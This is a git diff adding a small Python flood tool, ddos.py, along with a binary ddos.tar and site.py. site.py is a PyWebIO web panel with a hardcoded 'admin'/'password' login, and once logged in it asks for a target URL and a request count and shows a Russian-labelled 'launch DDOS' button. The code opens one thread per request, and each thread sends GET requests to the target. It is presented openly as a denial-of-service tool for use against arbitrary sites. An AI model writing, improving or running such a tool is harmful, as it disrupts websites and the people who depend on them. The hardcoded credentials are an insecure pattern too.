diff --git a/ddos.py b/ddos.py new file mode 100644 index 0000000..884fbc4 --- /dev/null +++ b/ddos.py @@ -0,0 +1,33 @@ +import threading +import time + +import requests + + +def send_multiple_requests(url, num_threads): + """ + Отправляет указанное количество запросов к заданному URL, используя многопоточность. + Обрабатывает исключения и включает паузу при ошибках. + + Args: + url: URL, к которому отправлять запросы. + num_threads: Количество потоков. + """ + threads = [] + for i in range(num_threads): + thread = threading.Thread(target=send_single_request, args=(url,)) + threads.append(thread) + thread.start() + + for thread in threads: + thread.join() + +def send_single_request(url): + while True: + try: + response = requests.get(url) + print(f"Request sent! Status code: {response.status_code}") + break # Выходим из цикла после успешного запроса + except Exception as e: + print(f"An error occurred: {e}") + time.sleep(1) \ No newline at end of file diff --git a/ddos.tar b/ddos.tar new file mode 100644 index 0000000..3f8a8d3 Binary files /dev/null and b/ddos.tar differ diff --git a/site.py b/site.py new file mode 100644 index 0000000..6a7680c --- /dev/null +++ b/site.py @@ -0,0 +1,74 @@ +import asyncio +import multiprocessing +import threading +import requests +from pywebio.input import input, TEXT, PASSWORD, NUMBER +from pywebio.output import put_text, put_button, clear, put_error, put_success +from pywebio import start_server +import aiohttp +import time + + +def send_multiple_requests(url, num_threads): + """ + Отправляет указанное количество запросов к заданному URL, используя многопоточность. + Обрабатывает исключения и включает паузу при ошибках. + + Args: + url: URL, к которому отправлять запросы. + num_threads: Количество потоков. + """ + threads = [] + for i in range(num_threads): + thread = threading.Thread(target=send_single_request, args=(url,)) + threads.append(thread) + thread.start() + + for thread in threads: + thread.join() + +def send_single_request(url): + while True: + try: + response = requests.get(url) + print(f"Request sent! Status code: {response.status_code}") + break # Выходим из цикла после успешного запроса + except Exception as e: + print(f"An error occurred: {e}") + time.sleep(1) + + +async def authenticated_page(): + put_text("Вы успешно авторизовались!") + url = await input('URL сайта (с http:// или https://)', type=TEXT) + try: + num_requests = int(await input('Количество запросов', type=NUMBER)) + except ValueError: + put_error("Некорректное количество запросов.") + return + + put_button("Запустить DDOS", onclick=lambda: send_multiple_requests(url, num_requests)) + + +async def login_page(): + while True: + username = await input("Логин:", type=TEXT) + password = await input("Пароль:", type=PASSWORD) + + if username == "admin" and password == "password": + clear() + await authenticated_page() + break + else: + put_error("Неверный логин или пароль.") + clear("login") + + +async def main(): + clear() + await login_page() + + +if __name__ == "__main__": + start_server(main, debug=True, port=9999) +